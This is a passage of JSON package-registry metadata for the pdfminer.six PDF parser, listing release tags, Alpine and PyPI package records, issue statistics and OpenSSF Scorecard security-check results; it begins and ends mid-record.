d5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:18.350Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":9.376124343383465,"stargazers_count":2.396200618838598,"forks_count":1.849319997121681,"average":3.405411239835936},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.13","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":"clandmeter@alpinelinux.org","url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":259,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-02-04T17:22:30.544Z","updated_at":"2023-02-04T17:22:30.544Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.13","url":"https://pkgs.alpinelinux.org/packages?branch=v3.13","ecosystem":"alpine","default":false,"packages_count":13897,"maintainers_count":231,"namespaces_count":2,"keywords_count":1898,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.734Z","updated_at":"2026-05-22T18:14:22.791Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/namespaces"}},{"id":4341258,"name":"20220429-pdfminer-jameslp310","ecosystem":"pypi","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT/X","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["pdf parser","pdf converter","layout analysis","text mining"],"namespace":null,"versions_count":1,"first_release_published_at":"2022-04-29T10:37:42.000Z","latest_release_published_at":"2022-04-29T10:37:42.000Z","latest_release_number":"0.0.2","last_synced_at":"2026-05-24T15:46:28.585Z","created_at":"2022-04-29T10:40:39.176Z","updated_at":"2026-05-24T15:46:28.585Z","registry_url":"https://pypi.org/project/20220429-pdfminer-jameslp310/","install_command":"pip install 20220429-pdfminer-jameslp310 --index-url https://pypi.org/simple","documentation_url":"https://20220429-pdfminer-jameslp310.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Intended Audience :: Science/Research","License :: OSI Approved :: MIT License","Programming Language :: Python","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.6","Programming Language :: Python :: 3.7","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Topic :: Text Processing"],"normalized_name":"20220429-pdfminer-jameslp310","project_status":null},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6737,"open_issues_count":228,"forks_count":999,"subscribers_count":116,"default_branch":"master","last_synced_at":"2025-09-29T23:58:19.603Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-29T23:04:24.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 